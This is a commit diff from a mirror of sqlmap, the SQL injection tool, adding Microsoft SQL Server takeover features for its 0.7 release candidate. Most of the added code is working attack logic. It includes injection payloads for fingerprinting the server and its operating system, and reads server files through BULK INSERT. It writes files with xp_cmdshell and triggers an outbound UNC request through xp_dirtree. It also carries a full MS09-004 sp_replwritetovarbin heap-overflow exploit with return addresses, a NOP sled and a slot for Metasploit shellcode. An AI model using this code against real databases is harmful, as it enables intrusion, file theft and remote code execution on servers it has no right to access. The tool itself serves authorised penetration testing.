mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-02-06 13:36:38 +00:00
Updated to sqlmap 0.7 release candidate 1
This commit is contained in:
@@ -5,8 +5,8 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
||||
@@ -5,8 +5,8 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
||||
@@ -5,8 +5,8 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
@@ -24,42 +24,54 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
|
||||
|
||||
import os
|
||||
import time
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import dataToOutFile
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.common import formatDBMSfp
|
||||
from lib.core.common import formatFingerprint
|
||||
from lib.core.common import getHtmlErrorFp
|
||||
from lib.core.common import getRange
|
||||
from lib.core.common import randomInt
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import readInput
|
||||
from lib.core.convert import urlencode
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import queries
|
||||
from lib.core.exception import sqlmapNoneDataException
|
||||
from lib.core.exception import sqlmapSyntaxException
|
||||
from lib.core.exception import sqlmapUnsupportedFeatureException
|
||||
from lib.core.session import setDbms
|
||||
from lib.core.settings import MSSQL_ALIASES
|
||||
from lib.core.settings import MSSQL_SYSTEM_DBS
|
||||
from lib.core.shell import autoCompletion
|
||||
from lib.core.unescaper import unescaper
|
||||
from lib.request import inject
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.techniques.outband.stacked import stackedTest
|
||||
|
||||
from plugins.generic.enumeration import Enumeration
|
||||
from plugins.generic.filesystem import Filesystem
|
||||
from plugins.generic.fingerprint import Fingerprint
|
||||
from plugins.generic.misc import Miscellaneous
|
||||
from plugins.generic.takeover import Takeover
|
||||
|
||||
|
||||
class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
"""
|
||||
This class defines Microsoft SQL Server methods
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.excludeDbsList = MSSQL_SYSTEM_DBS
|
||||
|
||||
Enumeration.__init__(self, "Microsoft SQL Server")
|
||||
Filesystem.__init__(self)
|
||||
Takeover.__init__(self)
|
||||
|
||||
unescaper.setUnescape(MSSQLServerMap.unescape)
|
||||
|
||||
@@ -128,7 +140,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
if wsOsFp:
|
||||
value += "%s\n" % wsOsFp
|
||||
|
||||
if self.banner:
|
||||
if kb.data.banner:
|
||||
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
|
||||
|
||||
if dbmsOsFp:
|
||||
@@ -168,41 +180,55 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
if conf.dbms in MSSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit():
|
||||
setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0])
|
||||
|
||||
self.getPrematureBanner("@@VERSION")
|
||||
self.getBanner()
|
||||
|
||||
if not conf.extensiveFp:
|
||||
kb.os = "Windows"
|
||||
|
||||
return True
|
||||
|
||||
logMsg = "testing Microsoft SQL Server"
|
||||
logger.info(logMsg)
|
||||
infoMsg = "testing Microsoft SQL Server"
|
||||
logger.info(infoMsg)
|
||||
|
||||
payload = agent.fullPayload(" AND LEN(@@VERSION)=LEN(@@VERSION)")
|
||||
result = Request.queryPage(payload)
|
||||
|
||||
if result == True:
|
||||
logMsg = "confirming Microsoft SQL Server"
|
||||
logger.info(logMsg)
|
||||
infoMsg = "confirming Microsoft SQL Server"
|
||||
logger.info(infoMsg)
|
||||
|
||||
for version in ( 0, 5, 8 ):
|
||||
payload = agent.fullPayload(" AND SUBSTRING((@@VERSION), 25, 1)=%d" % version)
|
||||
payload = agent.fullPayload(" AND SUBSTRING((@@VERSION), 22, 1)=2 AND SUBSTRING((@@VERSION), 25, 1)=%d" % version)
|
||||
result = Request.queryPage(payload)
|
||||
|
||||
if result == True:
|
||||
if version == 8:
|
||||
kb.dbmsVersion = ["2008"]
|
||||
elif version == 5:
|
||||
kb.dbmsVersion = ["2005"]
|
||||
elif version == 0:
|
||||
kb.dbmsVersion = ["2000"]
|
||||
kb.dbmsVersion = [ "2008" ]
|
||||
|
||||
break
|
||||
break
|
||||
|
||||
elif version == 5:
|
||||
kb.dbmsVersion = [ "2005" ]
|
||||
|
||||
break
|
||||
|
||||
else:
|
||||
payload = agent.fullPayload(" AND SUBSTRING((@@VERSION), 22, 1)=7")
|
||||
result = Request.queryPage(payload)
|
||||
|
||||
if result == True:
|
||||
kb.dbmsVersion = [ "7.0" ]
|
||||
|
||||
break
|
||||
|
||||
if kb.dbmsVersion:
|
||||
setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0])
|
||||
else:
|
||||
setDbms("Microsoft SQL Server")
|
||||
|
||||
self.getPrematureBanner("@@VERSION")
|
||||
self.getBanner()
|
||||
|
||||
kb.os = "Windows"
|
||||
|
||||
return True
|
||||
else:
|
||||
@@ -212,6 +238,85 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
return False
|
||||
|
||||
|
||||
def checkDbmsOs(self, detailed=False):
|
||||
if kb.os and kb.osVersion and kb.osSP:
|
||||
return
|
||||
|
||||
if not kb.os:
|
||||
kb.os = "Windows"
|
||||
|
||||
if detailed == False:
|
||||
return
|
||||
|
||||
infoMsg = "fingerprinting the back-end DBMS operating system "
|
||||
infoMsg += "version and service pack"
|
||||
logger.info(infoMsg)
|
||||
|
||||
infoMsg = "the back-end DBMS operating system is %s" % kb.os
|
||||
|
||||
self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)")
|
||||
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION"))
|
||||
|
||||
versions = {
|
||||
"2003": ( "5.2", ( 2, 1 ) ),
|
||||
#"2003": ( "6.0", ( 2, 1 ) ),
|
||||
"2008": ( "7.0", ( 1, ) ),
|
||||
"2000": ( "5.0", ( 4, 3, 2, 1 ) ),
|
||||
"XP": ( "5.1", ( 2, 1 ) ),
|
||||
"NT": ( "4.0", ( 6, 5, 4, 3, 2, 1 ) )
|
||||
}
|
||||
|
||||
# Get back-end DBMS underlying operating system version
|
||||
for version, data in versions.items():
|
||||
query = "(SELECT LEN(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
|
||||
query += "LIKE '%Windows NT " + data[0] + "%')>0"
|
||||
query = agent.forgeCaseStatement(query)
|
||||
|
||||
if inject.getValue(query, charsetType=1) == "1":
|
||||
kb.osVersion = version
|
||||
infoMsg += " %s" % kb.osVersion
|
||||
|
||||
break
|
||||
|
||||
if not kb.osVersion:
|
||||
kb.osVersion = "2003"
|
||||
kb.osSP = 2
|
||||
|
||||
warnMsg = "unable to fingerprint the underlying operating "
|
||||
warnMsg += "system version, assuming it is Windows "
|
||||
warnMsg += "%s Service Pack %d" % (kb.osVersion, kb.osSP)
|
||||
logger.warn(warnMsg)
|
||||
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
|
||||
return
|
||||
|
||||
# Get back-end DBMS underlying operating system service pack
|
||||
sps = versions[kb.osVersion][1]
|
||||
|
||||
for sp in sps:
|
||||
query = "(SELECT LEN(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
|
||||
query += "LIKE '%Service Pack " + str(sp) + "%')>0"
|
||||
query = agent.forgeCaseStatement(query)
|
||||
|
||||
if inject.getValue(query, charsetType=1) == "1":
|
||||
kb.osSP = sp
|
||||
break
|
||||
|
||||
if not kb.osSP:
|
||||
debugMsg = "assuming the operating system has no service pack"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
kb.osSP = 0
|
||||
|
||||
if kb.osVersion:
|
||||
infoMsg += " Service Pack %d" % kb.osSP
|
||||
|
||||
logger.info(infoMsg)
|
||||
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
|
||||
|
||||
def getPrivileges(self):
|
||||
warnMsg = "on Microsoft SQL Server it is not possible to fetch "
|
||||
warnMsg += "database users privileges"
|
||||
@@ -221,29 +326,29 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
|
||||
|
||||
def getTables(self):
|
||||
logMsg = "fetching tables"
|
||||
infoMsg = "fetching tables"
|
||||
if conf.db:
|
||||
logMsg += " for database '%s'" % conf.db
|
||||
logger.info(logMsg)
|
||||
infoMsg += " for database '%s'" % conf.db
|
||||
logger.info(infoMsg)
|
||||
|
||||
rootQuery = queries[kb.dbms].tables
|
||||
|
||||
if not conf.db:
|
||||
if not len(self.cachedDbs):
|
||||
if not len(kb.data.cachedDbs):
|
||||
dbs = self.getDbs()
|
||||
else:
|
||||
dbs = self.cachedDbs
|
||||
dbs = kb.data.cachedDbs
|
||||
else:
|
||||
if "," in conf.db:
|
||||
dbs = conf.db.split(",")
|
||||
else:
|
||||
dbs = [conf.db]
|
||||
|
||||
if conf.unionUse:
|
||||
if kb.unionPosition:
|
||||
for db in dbs:
|
||||
if conf.excludeSysDbs and db in self.excludeDbsList:
|
||||
logMsg = "skipping system database '%s'" % db
|
||||
logger.info(logMsg)
|
||||
infoMsg = "skipping system database '%s'" % db
|
||||
logger.info(infoMsg)
|
||||
|
||||
continue
|
||||
|
||||
@@ -251,22 +356,22 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
value = inject.getValue(query, blind=False)
|
||||
|
||||
if value:
|
||||
self.cachedTables[db] = value
|
||||
kb.data.cachedTables[db] = value
|
||||
|
||||
if not self.cachedTables:
|
||||
if not kb.data.cachedTables:
|
||||
for db in dbs:
|
||||
if conf.excludeSysDbs and db in self.excludeDbsList:
|
||||
logMsg = "skipping system database '%s'" % db
|
||||
logger.info(logMsg)
|
||||
infoMsg = "skipping system database '%s'" % db
|
||||
logger.info(infoMsg)
|
||||
|
||||
continue
|
||||
|
||||
logMsg = "fetching number of tables for "
|
||||
logMsg += "database '%s'" % db
|
||||
logger.info(logMsg)
|
||||
infoMsg = "fetching number of tables for "
|
||||
infoMsg += "database '%s'" % db
|
||||
logger.info(infoMsg)
|
||||
|
||||
query = rootQuery["blind"]["count"] % db
|
||||
count = inject.getValue(query, inband=False)
|
||||
count = inject.getValue(query, inband=False, charsetType=2)
|
||||
|
||||
if not count.isdigit() or not len(count) or count == "0":
|
||||
warnMsg = "unable to retrieve the number of "
|
||||
@@ -282,14 +387,330 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
tables.append(table)
|
||||
|
||||
if tables:
|
||||
self.cachedTables[db] = tables
|
||||
kb.data.cachedTables[db] = tables
|
||||
else:
|
||||
warnMsg = "unable to retrieve the tables "
|
||||
warnMsg += "for database '%s'" % db
|
||||
logger.warn(warnMsg)
|
||||
|
||||
if not self.cachedTables:
|
||||
if not kb.data.cachedTables:
|
||||
errMsg = "unable to retrieve the tables for any database"
|
||||
raise sqlmapNoneDataException, errMsg
|
||||
|
||||
return self.cachedTables
|
||||
return kb.data.cachedTables
|
||||
|
||||
|
||||
def unionReadFile(self, rFile):
|
||||
errMsg = "Microsoft SQL Server does not support file reading "
|
||||
errMsg += "with UNION query SQL injection technique"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
|
||||
def stackedReadFile(self, rFile):
|
||||
infoMsg = "fetching file: '%s'" % rFile
|
||||
logger.info(infoMsg)
|
||||
|
||||
result = []
|
||||
txtTbl = self.fileTblName
|
||||
hexTbl = "%shex" % self.fileTblName
|
||||
|
||||
self.createSupportTbl(txtTbl, self.tblField, "text")
|
||||
inject.goStacked("DROP TABLE %s" % hexTbl)
|
||||
inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)"))
|
||||
|
||||
logger.debug("loading the content of file '%s' into support table" % rFile)
|
||||
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, rFile, randomStr(10), randomStr(10)), silent=True)
|
||||
|
||||
# Reference: http://support.microsoft.com/kb/104829
|
||||
binToHexQuery = """
|
||||
DECLARE @charset VARCHAR(16)
|
||||
DECLARE @counter INT
|
||||
DECLARE @hexstr VARCHAR(4096)
|
||||
DECLARE @length INT
|
||||
DECLARE @chunk INT
|
||||
|
||||
SET @charset = '0123456789ABCDEF'
|
||||
SET @counter = 1
|
||||
SET @hexstr = ''
|
||||
SET @length = (SELECT DATALENGTH(%s) FROM %s)
|
||||
SET @chunk = 1024
|
||||
|
||||
WHILE (@counter <= @length)
|
||||
BEGIN
|
||||
DECLARE @tempint INT
|
||||
DECLARE @firstint INT
|
||||
DECLARE @secondint INT
|
||||
|
||||
SET @tempint = CONVERT(INT, (SELECT ASCII(SUBSTRING(%s, @counter, 1)) FROM %s))
|
||||
SET @firstint = floor(@tempint/16)
|
||||
SET @secondint = @tempint - (@firstint * 16)
|
||||
SET @hexstr = @hexstr + SUBSTRING(@charset, @firstint+1, 1) + SUBSTRING(@charset, @secondint+1, 1)
|
||||
|
||||
SET @counter = @counter + 1
|
||||
|
||||
IF @counter %% @chunk = 0
|
||||
BEGIN
|
||||
INSERT INTO %s(%s) VALUES(@hexstr)
|
||||
SET @hexstr = ''
|
||||
END
|
||||
END
|
||||
|
||||
IF @counter %% (@chunk) != 0
|
||||
BEGIN
|
||||
INSERT INTO %s(%s) VALUES(@hexstr)
|
||||
END
|
||||
""" % (self.tblField, txtTbl, self.tblField, txtTbl, hexTbl, self.tblField, hexTbl, self.tblField)
|
||||
|
||||
binToHexQuery = binToHexQuery.replace(" ", "").replace("\n", " ")
|
||||
binToHexQuery = urlencode(binToHexQuery, convall=True)
|
||||
inject.goStacked(binToHexQuery)
|
||||
|
||||
if kb.unionPosition:
|
||||
result = inject.getValue("SELECT %s FROM %s ORDER BY id ASC" % (self.tblField, hexTbl), sort=False, resumeValue=False, blind=False)
|
||||
|
||||
if not result:
|
||||
result = []
|
||||
count = inject.getValue("SELECT COUNT(%s) FROM %s" % (self.tblField, hexTbl), resumeValue=False, charsetType=2)
|
||||
|
||||
if not count.isdigit() or not len(count) or count == "0":
|
||||
errMsg = "unable to retrieve the content of the "
|
||||
errMsg += "file '%s'" % rFile
|
||||
raise sqlmapNoneDataException, errMsg
|
||||
|
||||
indexRange = getRange(count)
|
||||
|
||||
for index in indexRange:
|
||||
chunk = inject.getValue("SELECT TOP 1 %s FROM %s WHERE %s NOT IN (SELECT TOP %d %s FROM %s ORDER BY id ASC) ORDER BY id ASC" % (self.tblField, hexTbl, self.tblField, index, self.tblField, hexTbl), unpack=False, resumeValue=False, sort=False, charsetType=3)
|
||||
result.append(chunk)
|
||||
|
||||
inject.goStacked("DROP TABLE %s" % hexTbl)
|
||||
|
||||
return result
|
||||
|
||||
|
||||
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
|
||||
errMsg = "Microsoft SQL Server does not support file upload with "
|
||||
errMsg += "UNION query SQL injection technique"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
|
||||
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
|
||||
# NOTE: this is needed here because we use xp_cmdshell extended
|
||||
# procedure to write a file on the back-end Microsoft SQL Server
|
||||
# file system. Maybe it won't be required to write text files
|
||||
self.initEnv()
|
||||
|
||||
self.getRemoteTempPath()
|
||||
|
||||
debugMsg = "going to use xp_cmdshell extended procedure to write "
|
||||
debugMsg += "the %s file content to file '%s'" % (fileType, dFile)
|
||||
logger.debug(debugMsg)
|
||||
|
||||
debugSize = 0xFF00
|
||||
tmpPath = conf.tmpPath.replace("/", "\\")
|
||||
dFileName = os.path.split(dFile)[1]
|
||||
dFile = dFile.replace("/", "\\")
|
||||
wFileSize = os.path.getsize(wFile)
|
||||
wFilePointer = open(wFile, "rb")
|
||||
wFileContent = wFilePointer.read()
|
||||
wFilePointer.close()
|
||||
|
||||
if wFileSize < debugSize:
|
||||
chunkName = self.updateBinChunk(wFileContent, dFile, tmpPath)
|
||||
sFile = "%s\%s" % (tmpPath, dFileName)
|
||||
|
||||
logger.debug("moving binary file %s to %s" % (sFile, dFile))
|
||||
|
||||
commands = (
|
||||
"cd %s" % tmpPath,
|
||||
"ren %s %s" % (chunkName, dFileName),
|
||||
"move /Y %s %s" % (dFileName, dFile)
|
||||
)
|
||||
complComm = " & ".join(command for command in commands)
|
||||
forgedCmd = self.xpCmdshellForgeCmd(complComm)
|
||||
|
||||
self.execCmd(forgedCmd)
|
||||
|
||||
else:
|
||||
infoMsg = "the %s file is bigger than %d " % (fileType, debugSize)
|
||||
infoMsg += "bytes. sqlmap will split it into chunks, upload "
|
||||
infoMsg += "them and recreate the original file out of the "
|
||||
infoMsg += "binary chunks server-side, wait.."
|
||||
logger.info(infoMsg)
|
||||
|
||||
counter = 1
|
||||
|
||||
for i in range(0, wFileSize, debugSize):
|
||||
wFileChunk = wFileContent[i:i+debugSize]
|
||||
chunkName = self.updateBinChunk(wFileChunk, dFile, tmpPath)
|
||||
|
||||
if i == 0:
|
||||
infoMsg = "renaming chunk "
|
||||
copyCmd = "ren %s %s" % (chunkName, dFileName)
|
||||
else:
|
||||
infoMsg = "appending chunk "
|
||||
copyCmd = "copy /B /Y %s+%s %s" % (dFileName, chunkName, dFileName)
|
||||
|
||||
infoMsg += "%s\%s to %s\%s" % (tmpPath, chunkName, tmpPath, dFileName)
|
||||
logger.debug(infoMsg)
|
||||
|
||||
commands = (
|
||||
"cd %s" % tmpPath,
|
||||
copyCmd,
|
||||
"del /F %s" % chunkName
|
||||
)
|
||||
complComm = " & ".join(command for command in commands)
|
||||
forgedCmd = self.xpCmdshellForgeCmd(complComm)
|
||||
|
||||
self.execCmd(forgedCmd)
|
||||
|
||||
logger.info("file chunk %d written" % counter)
|
||||
|
||||
counter += 1
|
||||
|
||||
sFile = "%s\%s" % (tmpPath, dFileName)
|
||||
|
||||
logger.debug("moving binary file %s to %s" % (sFile, dFile))
|
||||
|
||||
commands = (
|
||||
"cd %s" % tmpPath,
|
||||
"move /Y %s %s" % (dFileName, dFile)
|
||||
)
|
||||
complComm = " & ".join(command for command in commands)
|
||||
forgedCmd = self.xpCmdshellForgeCmd(complComm)
|
||||
|
||||
self.execCmd(forgedCmd)
|
||||
|
||||
if confirm == True:
|
||||
self.askCheckWrittenFile(wFile, dFile, fileType)
|
||||
|
||||
|
||||
def uncPathRequest(self):
|
||||
#inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True)
|
||||
inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath)
|
||||
|
||||
|
||||
def overflowBypassDEP(self):
|
||||
# TODO: use 'sc' to:
|
||||
# * Get the SQL Server 'Service name' (usually MSSQLSERVER)
|
||||
# * Detect the absolute SQL Server executable file path
|
||||
#
|
||||
# References:
|
||||
# * http://www.ss64.com/nt/sc.html
|
||||
# * http://www.ss64.com/nt/for_cmd.html
|
||||
self.handleDep("C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Binn\sqlservr.exe")
|
||||
|
||||
if self.bypassDEP == False:
|
||||
return
|
||||
|
||||
logger.info("restarting Microsoft SQL Server, wait..")
|
||||
time.sleep(15)
|
||||
# TODO: use 'sc' to:
|
||||
# * Warn the user that sqlmap needs to restart the SQL Server
|
||||
# service, ask for confirmation
|
||||
# * Stop the SQL Server service (after handling DEP)
|
||||
# * Start the SQL Server service (after handling DEP)
|
||||
|
||||
# Another way to restart MSSQL consists of writing a bat file with
|
||||
# the following text:
|
||||
#
|
||||
#@ECHO OFF
|
||||
#NET STOP MSSQLSERVER
|
||||
#NET START MSSQLSERVER
|
||||
#
|
||||
# Then run the following statement and wait a few seconds:
|
||||
#
|
||||
# exec master..xp_cmdshell 'start C:\WINDOWS\Temp\sqlmaprandom.bat'
|
||||
|
||||
|
||||
def spHeapOverflow(self):
|
||||
"""
|
||||
References:
|
||||
* http://www.microsoft.com/technet/security/bulletin/MS09-004.mspx
|
||||
* http://support.microsoft.com/kb/959420
|
||||
"""
|
||||
|
||||
returns = {
|
||||
"2003": ( 2, "CHAR(0x77)+CHAR(0x55)+CHAR(0x87)+CHAR(0x7c)" ), # ntdll.dll: 0x7c8601bd -> 7508e877 (0x77e80857 it's a CALL ESI @ kernel32.dll)
|
||||
"2000": ( 4, "CHAR(0xdc)+CHAR(0xe1)+CHAR(0xf8)+CHAR(0x7c)" ), # shell32.dll: 0x7cf8e1ec 163bf77c -> (CALL ESI @ shell32.dll)
|
||||
}
|
||||
retAddr = None
|
||||
|
||||
for version, data in returns.items():
|
||||
sp = data[0]
|
||||
address = data[1]
|
||||
|
||||
if kb.osVersion == version and kb.osSP == sp:
|
||||
retAddr = address
|
||||
|
||||
break
|
||||
|
||||
if retAddr == None:
|
||||
errMsg = "sqlmap can not exploit the stored procedure buffer "
|
||||
errMsg += "overflow because it does not have a valid return "
|
||||
errMsg += "code for the underlying operating system (Windows "
|
||||
errMsg += "%s Service Pack %d" % (kb.osVersion, kb.osSP)
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
self.spExploit = """
|
||||
DECLARE @buf NVARCHAR(4000),
|
||||
@val NVARCHAR(4),
|
||||
@counter INT
|
||||
SET @buf = '
|
||||
declare @retcode int,
|
||||
@end_offset int,
|
||||
@vb_buffer varbinary,
|
||||
@vb_bufferlen int
|
||||
exec master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,'''
|
||||
SET @val = CHAR(0x41)
|
||||
SET @counter = 0
|
||||
WHILE @counter < 3320
|
||||
BEGIN
|
||||
SET @counter = @counter + 1
|
||||
IF @counter = 411
|
||||
BEGIN
|
||||
/* Return address */
|
||||
SET @buf = @buf + %s
|
||||
|
||||
/* Nopsled */
|
||||
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
||||
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
||||
|
||||
/* Metasploit shellcode stage 1 */
|
||||
SET @buf = @buf + %s
|
||||
|
||||
/* Unroll the stack and return */
|
||||
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
|
||||
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
|
||||
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
|
||||
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
|
||||
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
|
||||
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
|
||||
CHAR(0xc3)
|
||||
|
||||
SET @counter = @counter + 302
|
||||
SET @val = CHAR(0x43)
|
||||
CONTINUE
|
||||
END
|
||||
SET @buf = @buf + @val
|
||||
END
|
||||
SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41'''
|
||||
EXEC master..sp_executesql @buf
|
||||
""" % (retAddr, self.shellcodeChar)
|
||||
|
||||
self.spExploit = self.spExploit.replace(" ", "").replace("\n", " ")
|
||||
self.spExploit = urlencode(self.spExploit, convall=True)
|
||||
|
||||
logger.info("triggering the buffer overflow vulnerability, wait..")
|
||||
inject.goStacked(self.spExploit, silent=True)
|
||||
|
||||
@@ -5,8 +5,8 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
@@ -24,43 +24,52 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
|
||||
|
||||
import os
|
||||
import re
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import fileToStr
|
||||
from lib.core.common import formatDBMSfp
|
||||
from lib.core.common import formatFingerprint
|
||||
from lib.core.common import getDirectories
|
||||
from lib.core.common import getHtmlErrorFp
|
||||
from lib.core.common import randomInt
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import paths
|
||||
from lib.core.exception import sqlmapNoneDataException
|
||||
from lib.core.exception import sqlmapSyntaxException
|
||||
from lib.core.session import setDbms
|
||||
from lib.core.settings import MYSQL_ALIASES
|
||||
from lib.core.settings import MYSQL_SYSTEM_DBS
|
||||
from lib.core.shell import autoCompletion
|
||||
from lib.core.unescaper import unescaper
|
||||
from lib.request import inject
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.techniques.inband.union.test import unionTest
|
||||
from lib.techniques.inband.union.use import unionUse
|
||||
from lib.techniques.outband.stacked import stackedTest
|
||||
|
||||
from plugins.generic.enumeration import Enumeration
|
||||
from plugins.generic.filesystem import Filesystem
|
||||
from plugins.generic.fingerprint import Fingerprint
|
||||
from plugins.generic.misc import Miscellaneous
|
||||
from plugins.generic.takeover import Takeover
|
||||
|
||||
|
||||
class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
"""
|
||||
This class defines MySQL methods
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.excludeDbsList = MYSQL_SYSTEM_DBS
|
||||
self.__basedir = None
|
